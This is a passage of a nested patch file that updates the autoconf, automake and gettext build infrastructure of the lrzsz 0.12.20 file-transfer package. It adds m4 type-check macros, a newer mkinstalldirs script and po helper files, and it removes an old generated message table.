-+ _AC_COMPUTE_INT([~(size_t)0 % 10], res_lo,
-+ [#include <stddef.h>], result=?)
-+ _AC_COMPUTE_INT([sizeof (size_t) <= sizeof (unsigned int)], fits_in_uint,
-+ [#include <stddef.h>], result=?)
-+ if test "$fits_in_uint" = 1; then
-+ dnl Even though SIZE_MAX fits in an unsigned int, it must be of type
-+ dnl 'unsigned long' if the type 'size_t' is the same as 'unsigned long'.
-+ AC_TRY_COMPILE([#include <stddef.h>
-+ extern size_t foo;
-+ extern unsigned long foo;
-+ ], [], fits_in_uint=0)
-+ fi
-+ if test -z "$result"; then
-+ if test "$fits_in_uint" = 1; then
-+ result="$res_hi$res_lo"U
-+ else
-+ result="$res_hi$res_lo"UL
-+ fi
-+ else
-+ dnl Shouldn't happen, but who knows...
-+ result='~(size_t)0'
-+ fi
-+ fi
-+ AC_MSG_RESULT([$result])
-+ if test "$result" != yes; then
-+ AC_DEFINE_UNQUOTED([SIZE_MAX], [$result],
-+ [Define as the maximum value of type 'size_t', if the system doesn't define it.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/stdint_h.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/stdint_h.m4 2004-09-12 14:40:35.009648680 -0400
-@@ -0,0 +1,28 @@
-+# stdint_h.m4 serial 3 (gettext-0.12)
-+dnl Copyright (C) 1997-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Paul Eggert.
-+
-+# Define HAVE_STDINT_H_WITH_UINTMAX if <stdint.h> exists,
-+# doesn't clash with <sys/types.h>, and declares uintmax_t.
-+
-+AC_DEFUN([jm_AC_HEADER_STDINT_H],
-+[
-+ AC_CACHE_CHECK([for stdint.h], jm_ac_cv_header_stdint_h,
-+ [AC_TRY_COMPILE(
-+ [#include <sys/types.h>
-+#include <stdint.h>],
-+ [uintmax_t i = (uintmax_t) -1;],
-+ jm_ac_cv_header_stdint_h=yes,
-+ jm_ac_cv_header_stdint_h=no)])
-+ if test $jm_ac_cv_header_stdint_h = yes; then
-+ AC_DEFINE_UNQUOTED(HAVE_STDINT_H_WITH_UINTMAX, 1,
-+ [Define if <stdint.h> exists, doesn't clash with <sys/types.h>,
-+ and declares uintmax_t. ])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/uintmax_t.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/uintmax_t.m4 2004-09-12 14:40:35.021646856 -0400
-@@ -0,0 +1,32 @@
-+# uintmax_t.m4 serial 7 (gettext-0.12)
-+dnl Copyright (C) 1997-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Paul Eggert.
-+
-+AC_PREREQ(2.13)
-+
-+# Define uintmax_t to 'unsigned long' or 'unsigned long long'
-+# if it is not already defined in <stdint.h> or <inttypes.h>.
-+
-+AC_DEFUN([jm_AC_TYPE_UINTMAX_T],
-+[
-+ AC_REQUIRE([jm_AC_HEADER_INTTYPES_H])
-+ AC_REQUIRE([jm_AC_HEADER_STDINT_H])
-+ if test $jm_ac_cv_header_inttypes_h = no && test $jm_ac_cv_header_stdint_h = no; then
-+ AC_REQUIRE([jm_AC_TYPE_UNSIGNED_LONG_LONG])
-+ test $ac_cv_type_unsigned_long_long = yes \
-+ && ac_type='unsigned long long' \
-+ || ac_type='unsigned long'
-+ AC_DEFINE_UNQUOTED(uintmax_t, $ac_type,
-+ [Define to unsigned long or unsigned long long
-+ if <stdint.h> and <inttypes.h> don't define.])
-+ else
-+ AC_DEFINE(HAVE_UINTMAX_T, 1,
-+ [Define if you have the 'uintmax_t' type in <stdint.h> or <inttypes.h>.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/ulonglong.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/ulonglong.m4 2004-09-12 14:40:35.028645792 -0400
-@@ -0,0 +1,25 @@
-+# ulonglong.m4 serial 3
-+dnl Copyright (C) 1999-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Paul Eggert.
-+
-+# Define HAVE_UNSIGNED_LONG_LONG if 'unsigned long long' works.
-+
-+AC_DEFUN([jm_AC_TYPE_UNSIGNED_LONG_LONG],
-+[
-+ AC_CACHE_CHECK([for unsigned long long], ac_cv_type_unsigned_long_long,
-+ [AC_TRY_LINK([unsigned long long ull = 1ULL; int i = 63;],
-+ [unsigned long long ullmax = (unsigned long long) -1;
-+ return ull << i | ull >> i | ullmax / ull | ullmax % ull;],
-+ ac_cv_type_unsigned_long_long=yes,
-+ ac_cv_type_unsigned_long_long=no)])
-+ if test $ac_cv_type_unsigned_long_long = yes; then
-+ AC_DEFINE(HAVE_UNSIGNED_LONG_LONG, 1,
-+ [Define if you have the 'unsigned long long' type.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/wchar_t.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/wchar_t.m4 2004-09-12 14:40:35.034644880 -0400
-@@ -0,0 +1,22 @@
-+# wchar_t.m4 serial 1 (gettext-0.12)
-+dnl Copyright (C) 2002-2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+dnl Test whether <stddef.h> has the 'wchar_t' type.
-+dnl Prerequisite: AC_PROG_CC
-+
-+AC_DEFUN([gt_TYPE_WCHAR_T],
-+[
-+ AC_CACHE_CHECK([for wchar_t], gt_cv_c_wchar_t,
-+ [AC_TRY_COMPILE([#include <stddef.h>
-+ wchar_t foo = (wchar_t)'\0';], ,
-+ gt_cv_c_wchar_t=yes, gt_cv_c_wchar_t=no)])
-+ if test $gt_cv_c_wchar_t = yes; then
-+ AC_DEFINE(HAVE_WCHAR_T, 1, [Define if you have the 'wchar_t' type.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/wint_t.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/wint_t.m4 2004-09-12 14:40:35.040643968 -0400
-@@ -0,0 +1,22 @@
-+# wint_t.m4 serial 1 (gettext-0.12)
-+dnl Copyright (C) 2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+dnl From Bruno Haible.
-+dnl Test whether <wchar.h> has the 'wint_t' type.
-+dnl Prerequisite: AC_PROG_CC
-+
-+AC_DEFUN([gt_TYPE_WINT_T],
-+[
-+ AC_CACHE_CHECK([for wint_t], gt_cv_c_wint_t,
-+ [AC_TRY_COMPILE([#include <wchar.h>
-+ wint_t foo = (wchar_t)'\0';], ,
-+ gt_cv_c_wint_t=yes, gt_cv_c_wint_t=no)])
-+ if test $gt_cv_c_wint_t = yes; then
-+ AC_DEFINE(HAVE_WINT_T, 1, [Define if you have the 'wint_t' type.])
-+ fi
-+])
---- lrzsz-0.12.20.safe/m4/xsize.m4 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/m4/xsize.m4 2004-09-12 14:40:35.047642904 -0400
-@@ -0,0 +1,14 @@
-+# xsize.m4 serial 2
-+dnl Copyright (C) 2003 Free Software Foundation, Inc.
-+dnl This file is free software, distributed under the terms of the GNU
-+dnl General Public License. As a special exception to the GNU General
-+dnl Public License, this file may be distributed as part of a program
-+dnl that contains a configuration script generated by Autoconf, under
-+dnl the same distribution terms as the rest of that program.
-+
-+AC_DEFUN([gl_XSIZE],
-+[
-+ dnl Prerequisites of lib/xsize.h.
-+ AC_REQUIRE([gl_SIZE_MAX])
-+ AC_CHECK_HEADERS(stdint.h)
-+])
---- lrzsz-0.12.20.safe/Makefile.am 1998-12-30 06:19:40.000000000 -0500
-+++ lrzsz-0.12.20/Makefile.am 2004-09-12 14:40:35.121631656 -0400
-@@ -1,5 +1,5 @@
- SUBDIRS = lib intl src po man testsuite
--EXTRA_DIST = check.lrzsz COMPATABILITY README.cvs README.isdn4linux \
-+EXTRA_DIST = config.rpath check.lrzsz COMPATABILITY README.cvs README.isdn4linux \
- README.gettext rpmrc buildrpm systype.in fastcheck.sh README.tests \
- beos-runpiped.c fastcheck.beos
- noinst_SCRIPTS=systype
-@@ -83,3 +83,5 @@
- rpm: $(PR).tar.gz Specfile
- $(srcdir)/buildrpm $(srcdir)
-
-+
-+ACLOCAL_AMFLAGS = -I m4
---- lrzsz-0.12.20.safe/Makefile.in 1998-12-30 11:31:40.000000000 -0500
-+++ lrzsz-0.12.20/Makefile.in 2004-09-12 14:40:35.109633480 -0400
-@@ -125,7 +125,7 @@
- && CONFIG_FILES=$@ CONFIG_HEADERS= $(SHELL) ./config.status
-
- $(ACLOCAL_M4): configure.in acinclude.m4
-- cd $(srcdir) && $(ACLOCAL)
-+ cd $(srcdir) && $(ACLOCAL) -I m4
-
- config.status: $(srcdir)/configure
- $(SHELL) ./config.status --recheck
---- lrzsz-0.12.20.safe/mkinstalldirs 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/mkinstalldirs 2004-09-12 14:40:34.337750824 -0400
-@@ -1,34 +1,150 @@
- #! /bin/sh
- # mkinstalldirs --- make directory hierarchy
--# Author: Noah Friedman <friedman@prep.ai.mit.edu>
-+
-+scriptversion=2004-02-15.20
-+
-+# Original author: Noah Friedman <friedman@prep.ai.mit.edu>
- # Created: 1993-05-16
--# Last modified: 1995-03-05
--# Public domain
-+# Public domain.
-+#
-+# This file is maintained in Automake, please report
-+# bugs to <bug-automake@gnu.org> or send patches to
-+# <automake-patches@gnu.org>.
-
- errstatus=0
-+dirmode=""
-
--for file in ${1+"$@"} ; do
-- set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
-- shift
-+usage="\
-+Usage: mkinstalldirs [-h] [--help] [--version] [-m MODE] DIR ...
-
-- pathcomp=
-- for d in ${1+"$@"} ; do
-- pathcomp="$pathcomp$d"
-- case "$pathcomp" in
-- -* ) pathcomp=./$pathcomp ;;
-- esac
-+Create each directory DIR (with mode MODE, if specified), including all
-+leading file name components.
-
-- if test ! -d "$pathcomp"; then
-- echo "mkdir $pathcomp" 1>&2
-- mkdir "$pathcomp" > /dev/null 2>&1 || lasterr=$?
-- fi
-+Report bugs to <bug-automake@gnu.org>."
-
-- if test ! -d "$pathcomp"; then
-+# process command line arguments
-+while test $# -gt 0 ; do
-+ case $1 in
-+ -h | --help | --h*) # -h for help
-+ echo "$usage"
-+ exit 0
-+ ;;
-+ -m) # -m PERM arg
-+ shift
-+ test $# -eq 0 && { echo "$usage" 1>&2; exit 1; }
-+ dirmode=$1
-+ shift
-+ ;;
-+ --version)
-+ echo "$0 $scriptversion"
-+ exit 0
-+ ;;
-+ --) # stop option processing
-+ shift
-+ break
-+ ;;
-+ -*) # unknown option
-+ echo "$usage" 1>&2
-+ exit 1
-+ ;;
-+ *) # first non-opt arg
-+ break
-+ ;;
-+ esac
-+done
-+
-+for file
-+do
-+ if test -d "$file"; then
-+ shift
-+ else
-+ break
-+ fi
-+done
-+
-+case $# in
-+ 0) exit 0 ;;
-+esac
-+
-+# Solaris 8's mkdir -p isn't thread-safe. If you mkdir -p a/b and
-+# mkdir -p a/c at the same time, both will detect that a is missing,
-+# one will create a, then the other will try to create a and die with
-+# a "File exists" error. This is a problem when calling mkinstalldirs
-+# from a parallel make. We use --version in the probe to restrict
-+# ourselves to GNU mkdir, which is thread-safe.
-+case $dirmode in
-+ '')
-+ if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then
-+ echo "mkdir -p -- $*"
-+ exec mkdir -p -- "$@"
-+ else
-+ # On NextStep and OpenStep, the `mkdir' command does not
-+ # recognize any option. It will interpret all options as
-+ # directories to create, and then abort because `.' already
-+ # exists.
-+ test -d ./-p && rmdir ./-p
-+ test -d ./--version && rmdir ./--version
-+ fi
-+ ;;
-+ *)
-+ if mkdir -m "$dirmode" -p --version . >/dev/null 2>&1 &&
-+ test ! -d ./--version; then
-+ echo "mkdir -m $dirmode -p -- $*"
-+ exec mkdir -m "$dirmode" -p -- "$@"
-+ else
-+ # Clean up after NextStep and OpenStep mkdir.
-+ for d in ./-m ./-p ./--version "./$dirmode";
-+ do
-+ test -d $d && rmdir $d
-+ done
-+ fi
-+ ;;
-+esac
-+
-+for file
-+do
-+ set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
-+ shift
-+
-+ pathcomp=
-+ for d
-+ do
-+ pathcomp="$pathcomp$d"
-+ case $pathcomp in
-+ -*) pathcomp=./$pathcomp ;;
-+ esac
-+
-+ if test ! -d "$pathcomp"; then
-+ echo "mkdir $pathcomp"
-+
-+ mkdir "$pathcomp" || lasterr=$?
-+
-+ if test ! -d "$pathcomp"; then
- errstatus=$lasterr
-- fi
-+ else
-+ if test ! -z "$dirmode"; then
-+ echo "chmod $dirmode $pathcomp"
-+ lasterr=""
-+ chmod "$dirmode" "$pathcomp" || lasterr=$?
-
-- pathcomp="$pathcomp/"
-- done
-+ if test ! -z "$lasterr"; then
-+ errstatus=$lasterr
-+ fi
-+ fi
-+ fi
-+ fi
-+
-+ pathcomp="$pathcomp/"
-+ done
- done
-
- exit $errstatus
-+
-+# Local Variables:
-+# mode: shell-script
-+# sh-indentation: 2
-+# eval: (add-hook 'write-file-hooks 'time-stamp)
-+# time-stamp-start: "scriptversion="
-+# time-stamp-format: "%:y-%02m-%02d.%02H"
-+# time-stamp-end: "$"
-+# End:
---- lrzsz-0.12.20.safe/po/boldquot.sed 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/boldquot.sed 2004-09-12 14:40:34.723692152 -0400
-@@ -0,0 +1,10 @@
-+s/"\([^"]*\)"/“\1”/g
-+s/`\([^`']*\)'/‘\1’/g
-+s/ '\([^`']*\)' / ‘\1’ /g
-+s/ '\([^`']*\)'$/ ‘\1’/g
-+s/^'\([^`']*\)' /‘\1’ /g
-+s/“”/""/g
-+s/“/“/g
-+s/”/”/g
-+s/‘/‘/g
-+s/’/’/g
---- lrzsz-0.12.20.safe/po/cat-id-tbl.c 1998-12-29 04:24:24.000000000 -0500
-+++ lrzsz-0.12.20/po/cat-id-tbl.c 1969-12-31 19:00:00.000000000 -0500
-@@ -1,234 +0,0 @@
--/* Automatically generated by po2tbl.sed from lrzsz.pot. */
--
--#if HAVE_CONFIG_H
--# include <config.h>
--#endif
--
--#include "libgettext.h"
--
--const struct _msg_ent _msg_tbl[] = {
-- {"", 1},
-- {"io_mode(,2) in rbsb.c not implemented\n", 2},
-- {"caught signal %d; exiting", 3},
-- {"command tries", 4},
-- {"packetlength", 5},
-- {"packetlength out of range 24..%ld", 6},
-- {"framelength", 7},
-- {"framelength out of range 32..%ld", 8},
-- {"min_bps", 9},
-- {"min_bps must be >= 0", 10},
-- {"min_bps_time", 11},
-- {"min_bps_time must be > 1", 12},
-- {"hour to large (0..23)", 13},
-- {"unparsable stop time\n", 14},
-- {"minute to large (0..59)", 15},
-- {"stop time to small", 16},
-- {"stop-at", 17},
-- {"timeout", 18},
-- {"timeout out of range 10..1000", 19},
-- {"security violation: can't do that under restricted shell\n", 20},
-- {"window size", 21},
-- {"cannot turnoff syslog", 22},
-- {"startup delay", 23},
-- {"out of memory", 24},
-- {"this program was never intended to be used setuid\n", 25},
-- {"need at least one file to send", 26},
-- {"Can't send command in restricted mode\n", 27},
-- {"hostname too long\n", 28},
-- {"illegal server address\n", 29},
-- {"can read only one file from stdin", 30},
-- {"Transfer incomplete\n", 31},
-- {"Transfer complete\n", 32},
-- {"send_pseudo %s: cannot open tmpfile %s: %s", 33},
-- {"send_pseudo %s: cannot lstat tmpfile %s: %s", 34},
-- {"send_pseudo %s: avoiding symlink trap", 35},
-- {"send_pseudo %s: cannot write to tmpfile %s: %s", 36},
-- {"send_pseudo %s: failed", 37},
-- {"send_pseudo %s: ok", 38},
-- {"tcp protocol init failed\n", 39},
-- {"Answering TIMESYNC at %s", 40},
-- {"timezone", 41},
-- {"timezone unknown", 42},
-- {"Can't open any requested files.", 43},
-- {"security violation: not allowed to upload from %s", 44},
-- {"cannot open %s", 45},
-- {"is not a file: %s", 46},
-- {"%s/%s: error occured", 47},
-- {"skipped: %s", 48},
-- {"%s/%s: skipped", 49},
-- {"Bytes Sent:%7ld BPS:%-8ld \n", 50},
-- {"Sending %s, %ld blocks: ", 51},
-- {"Give your local XMODEM receive command now.", 52},
-- {"Sending: %s\n", 53},
-- {"Timeout on pathname", 54},
-- {"Receiver Cancelled", 55},
-- {"No ACK on EOT", 56},
-- {"Xmodem sectors/kbytes sent: %3d/%2dk", 57},
-- {"Ymodem sectors/kbytes sent: %3d/%2dk", 58},
-- {"Cancelled", 59},
-- {"Timeout on sector ACK", 60},
-- {"NAK on sector", 61},
-- {"Got burst for sector ACK", 62},
-- {"Got %02x for sector ACK", 63},
-- {"Retry Count Exceeded", 64},
-- {"Try `%s --help' for more information.\n", 65},
-- {"%s version %s\n", 66},
-- {"Usage: %s [options] file ...\n", 67},
-- {" or: %s [options] -{c|i} COMMAND\n", 68},
-- {"Send file(s) with ZMODEM/YMODEM/XMODEM protocol\n", 69},
-- {"\
-- (X) = option applies to XMODEM only\n\
-- (Y) = option applies to YMODEM only\n\
-- (Z) = option applies to ZMODEM only\n", 70},
-- {"\
-- -+, --append append to existing destination file (Z)\n\
-- -2, --twostop use 2 stop bits\n\
-- -4, --try-4k go up to 4K blocksize\n\
-- --start-4k start with 4K blocksize (doesn't try 8)\n\
-- -8, --try-8k go up to 8K blocksize\n\
-- --start-8k start with 8K blocksize\n\
-- -a, --ascii ASCII transfer (change CR/LF to LF)\n\
-- -b, --binary binary transfer\n\
-- -B, --bufsize N buffer N bytes (N==auto: buffer whole file)\n\
-- -c, --command COMMAND execute remote command COMMAND (Z)\n\
-- -C, --command-tries N try N times to execute a command (Z)\n\
-- -d, --dot-to-slash change '.' to '/' in pathnames (Y/Z)\n\
-- --delay-startup N sleep N seconds before doing anything\n\
-- -e, --escape escape all control characters (Z)\n\
-- -E, --rename force receiver to rename files it already has\n\
-- -f, --full-path send full pathname (Y/Z)\n\
-- -i, --immediate-command CMD send remote CMD, return immediately (Z)\n\
-- -h, --help print this usage message\n\
-- -k, --1k send 1024 byte packets (X)\n\
-- -L, --packetlen N limit subpacket length to N bytes (Z)\n\
-- -l, --framelen N limit frame length to N bytes (l>=L) (Z)\n\
-- -m, --min-bps N stop transmission if BPS below N\n\
-- -M, --min-bps-time N for at least N seconds (default: 120)\n", 71},
-- {"\
-- -n, --newer send file if source newer (Z)\n\
-- -N, --newer-or-longer send file if source newer or longer (Z)\n\
-- -o, --16-bit-crc use 16 bit CRC instead of 32 bit CRC (Z)\n\
-- -O, --disable-timeouts disable timeout code, wait forever\n\
-- -p, --protect protect existing destination file (Z)\n\
-- -r, --resume resume interrupted file transfer (Z)\n\
-- -R, --restricted restricted, more secure mode\n\
-- -q, --quiet quiet (no progress reports)\n\
-- -s, --stop-at {HH:MM|+N} stop transmission at HH:MM or in N seconds\n\
-- --tcp build a TCP connection to transmit files\n\
-- --tcp-server open socket, wait for connection\n\
-- -u, --unlink unlink file after transmission\n\
-- -U, --unrestrict turn off restricted mode (if allowed to)\n\
-- -v, --verbose be verbose, provide debugging information\n\
-- -w, --windowsize N Window is N bytes (Z)\n\
-- -X, --xmodem use XMODEM protocol\n\
-- -y, --overwrite overwrite existing files\n\
-- -Y, --overwrite-or-skip overwrite existing files, else skip\n\
-- --ymodem use YMODEM protocol\n\
-- -Z, --zmodem use ZMODEM protocol\n\
--\n\
--short options use the same arguments as the long ones\n", 72},
-- {"got ZRQINIT", 73},
-- {"got ZCAN", 74},
-- {"blklen now %d\n", 75},
-- {"zsendfdata: bps rate %ld below min %ld", 76},
-- {"zsendfdata: reached stop time", 77},
-- {"Bytes Sent:%7ld/%7ld BPS:%-8ld ETA %02d:%02d ", 78},
-- {"calc_blklen: reduced to %d due to error\n", 79},
-- {"calc_blklen: returned old value %d due to low bpe diff\n", 80},
-- {"calc_blklen: old %ld, new %ld, d %ld\n", 81},
-- {"calc_blklen: calc total_bytes=%ld, bpe=%ld, ec=%ld\n", 82},
-- {"calc_blklen: blklen %d, ok %ld, failed %ld -> %lu\n", 83},
-- {"calc_blklen: returned %d as best\n", 84},
-- {"\
--\n\
--countem: Total %d %ld\n", 85},
-- {"Bad escape sequence %x", 86},
-- {"Sender Canceled", 87},
-- {"TIMEOUT", 88},
-- {"Bad data subpacket", 89},
-- {"Data subpacket too long", 90},
-- {"Garbage count exceeded", 91},
-- {"Got %s", 92},
-- {"Retry %d: ", 93},
-- {"don't have settimeofday, will not set time\n", 94},
-- {"not running as root (this is good!), can not set time\n", 95},
-- {"bytes_per_error", 96},
-- {"bytes-per-error should be >100", 97},
-- {"O_SYNC not supported by the kernel", 98},
-- {"garbage on commandline", 99},
-- {"Usage: %s [options] [filename.if.xmodem]\n", 100},
-- {"Receive files with ZMODEM/YMODEM/XMODEM protocol\n", 101},
-- {"\
-- -+, --append append to existing files\n\
-- -a, --ascii ASCII transfer (change CR/LF to LF)\n\
-- -b, --binary binary transfer\n\
-- -B, --bufsize N buffer N bytes (N==auto: buffer whole file)\n\
-- -c, --with-crc Use 16 bit CRC (X)\n\
-- -C, --allow-remote-commands allow execution of remote commands (Z)\n\
-- -D, --null write all received data to /dev/null\n\
-- --delay-startup N sleep N seconds before doing anything\n\
-- -e, --escape Escape control characters (Z)\n\
-- -E, --rename rename any files already existing\n\
-- --errors N generate CRC error every N bytes (debugging)\n\
-- -h, --help Help, print this usage message\n\
-- -m, --min-bps N stop transmission if BPS below N\n\
-- -M, --min-bps-time N for at least N seconds (default: 120)\n\
-- -O, --disable-timeouts disable timeout code, wait forever for data\n\
-- --o-sync open output file(s) in synchronous write mode\n\
-- -p, --protect protect existing files\n\
-- -q, --quiet quiet, no progress reports\n\
-- -r, --resume try to resume interrupted file transfer (Z)\n\
-- -R, --restricted restricted, more secure mode\n\
-- -s, --stop-at {HH:MM|+N} stop transmission at HH:MM or in N seconds\n\
-- -S, --timesync request remote time (twice: set local time)\n\
-- --syslog[=off] turn syslog on or off, if possible\n\
-- -t, --timeout N set timeout to N tenths of a second\n\
-- -u, --keep-uppercase keep upper case filenames\n\
-- -U, --unrestrict disable restricted mode (if allowed to)\n\
-- -v, --verbose be verbose, provide debugging information\n\
-- -w, --windowsize N Window is N bytes (Z)\n\
-- -X --xmodem use XMODEM protocol\n\
-- -y, --overwrite Yes, clobber existing file if any\n\
-- --ymodem use YMODEM protocol\n\
-- -Z, --zmodem use ZMODEM protocol\n\
--\n\
--short options use the same arguments as the long ones\n", 102},
-- {"%s waiting to receive.", 103},
-- {"\rBytes received: %7ld/%7ld BPS:%-6ld \r\n", 104},
-- {"%s: ready to receive %s", 105},
-- {"\rBytes received: %7ld BPS:%-6ld \r\n", 106},
-- {"\
--\r\n\
--%s: %s removed.\r\n", 107},
-- {"Pathname fetch returned EOT", 108},
-- {"Received dup Sector", 109},
-- {"Sync Error", 110},
-- {"CRC", 111},
-- {"Checksum", 112},
-- {"Sector number garbled", 113},
-- {"Sender Cancelled", 114},
-- {"Got 0%o sector header", 115},
-- {"file name ends with a /, skipped: %s\n", 116},
-- {"zmanag=%d, Lzmanag=%d\n", 117},
-- {"zconv=%d\n", 118},
-- {"file exists, skipped: %s\n", 119},
-- {"TIMESYNC: here %ld, remote %ld, diff %ld seconds\n", 120},
-- {"TIMESYNC: cannot set time: %s\n", 121},
-- {"cannot tmpfile() for tcp protocol synchronization", 122},
-- {"Topipe", 123},
-- {"Receiving: %s\n", 124},
-- {"Blocks received: %d", 125},
-- {"%s: %s exists\n", 126},
-- {"%s:\tSecurity Violation", 127},
-- {"remote command execution requested", 128},
-- {"not executed", 129},
-- {"got ZRINIT", 130},
-- {"Skipped", 131},
-- {"rzfile: bps rate %ld below min %ld", 132},
-- {"rzfile: reached stop time", 133},
-- {"\rBytes received: %7ld/%7ld BPS:%-6ld ETA %02d:%02d ", 134},
-- {"fgets for tcp protocol synchronization failed: ", 135},
-- {"file close error", 136},
--};
--
--int _msg_tbl_length = 136;
---- lrzsz-0.12.20.safe/po/ChangeLog 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/po/ChangeLog 2004-09-12 14:40:34.793681512 -0400
-@@ -1,3 +1,15 @@
-+2004-09-12 gettextize <bug-gnu-gettext@gnu.org>
-+
-+ * boldquot.sed: New file, from gettext-0.14.1.
-+ * en@boldquot.header: New file, from gettext-0.14.1.
-+ * en@quot.header: New file, from gettext-0.14.1.
-+ * insert-header.sin: New file, from gettext-0.14.1.
-+ * quot.sed: New file, from gettext-0.14.1.
-+ * remove-potcdate.sin: New file, from gettext-0.14.1.
-+ * Rules-quot: New file, from gettext-0.14.1.
-+ * cat-id-tbl.c: Remove file.
-+ * stamp-cat-id: Remove file.
-+
- /* Automatically generated by po2tbl.sed from lrzsz.pot. */
-
- #if HAVE_CONFIG_H
---- lrzsz-0.12.20.safe/po/en@boldquot.header 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/en@boldquot.header 2004-09-12 14:40:34.731690936 -0400
-@@ -0,0 +1,25 @@
-+# All this catalog "translates" are quotation characters.
-+# The msgids must be ASCII and therefore cannot contain real quotation
-+# characters, only substitutes like grave accent (0x60), apostrophe (0x27)
-+# and double quote (0x22). These substitutes look strange; see
-+# http://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html
-+#
-+# This catalog translates grave accent (0x60) and apostrophe (0x27) to
-+# left single quotation mark (U+2018) and right single quotation mark (U+2019).
-+# It also translates pairs of apostrophe (0x27) to
-+# left single quotation mark (U+2018) and right single quotation mark (U+2019)
-+# and pairs of quotation mark (0x22) to
-+# left double quotation mark (U+201C) and right double quotation mark (U+201D).
-+#
-+# When output to an UTF-8 terminal, the quotation characters appear perfectly.
-+# When output to an ISO-8859-1 terminal, the single quotation marks are
-+# transliterated to apostrophes (by iconv in glibc 2.2 or newer) or to
-+# grave/acute accent (by libiconv), and the double quotation marks are
-+# transliterated to 0x22.
-+# When output to an ASCII terminal, the single quotation marks are
-+# transliterated to apostrophes, and the double quotation marks are
-+# transliterated to 0x22.
-+#
-+# This catalog furthermore displays the text between the quotation marks in
-+# bold face, assuming the VT100/XTerm escape sequences.
-+#
---- lrzsz-0.12.20.safe/po/en@quot.header 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/en@quot.header 2004-09-12 14:40:34.737690024 -0400
-@@ -0,0 +1,22 @@
-+# All this catalog "translates" are quotation characters.
-+# The msgids must be ASCII and therefore cannot contain real quotation
-+# characters, only substitutes like grave accent (0x60), apostrophe (0x27)
-+# and double quote (0x22). These substitutes look strange; see
-+# http://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html
-+#
-+# This catalog translates grave accent (0x60) and apostrophe (0x27) to
-+# left single quotation mark (U+2018) and right single quotation mark (U+2019).
-+# It also translates pairs of apostrophe (0x27) to
-+# left single quotation mark (U+2018) and right single quotation mark (U+2019)
-+# and pairs of quotation mark (0x22) to
-+# left double quotation mark (U+201C) and right double quotation mark (U+201D).
-+#
-+# When output to an UTF-8 terminal, the quotation characters appear perfectly.
-+# When output to an ISO-8859-1 terminal, the single quotation marks are
-+# transliterated to apostrophes (by iconv in glibc 2.2 or newer) or to
-+# grave/acute accent (by libiconv), and the double quotation marks are
-+# transliterated to 0x22.
-+# When output to an ASCII terminal, the single quotation marks are
-+# transliterated to apostrophes, and the double quotation marks are
-+# transliterated to 0x22.
-+#
---- lrzsz-0.12.20.safe/po/insert-header.sin 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/insert-header.sin 2004-09-12 14:40:34.743689112 -0400
-@@ -0,0 +1,23 @@
-+# Sed script that inserts the file called HEADER before the header entry.
-+#
-+# At each occurrence of a line starting with "msgid ", we execute the following
-+# commands. At the first occurrence, insert the file. At the following
-+# occurrences, do nothing. The distinction between the first and the following
-+# occurrences is achieved by looking at the hold space.
-+/^msgid /{
-+x
-+# Test if the hold space is empty.
-+s/m/m/
-+ta
-+# Yes it was empty. First occurrence. Read the file.
-+r HEADER
-+# Output the file's contents by reading the next line. But don't lose the
-+# current line while doing this.
-+g
-+N
-+bb
-+:a
-+# The hold space was nonempty. Following occurrences. Do nothing.
-+x
-+:b
-+}
---- lrzsz-0.12.20.safe/po/Makevars 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/po/Makevars 2004-09-12 14:40:34.748688352 -0400
-@@ -0,0 +1,41 @@
-+# Makefile variables for PO directory in any package using GNU gettext.
-+
-+# Usually the message domain is the same as the package name.
-+DOMAIN = $(PACKAGE)
-+
-+# These two variables depend on the location of this directory.
-+subdir = po
-+top_builddir = ..
-+
-+# These options get passed to xgettext.
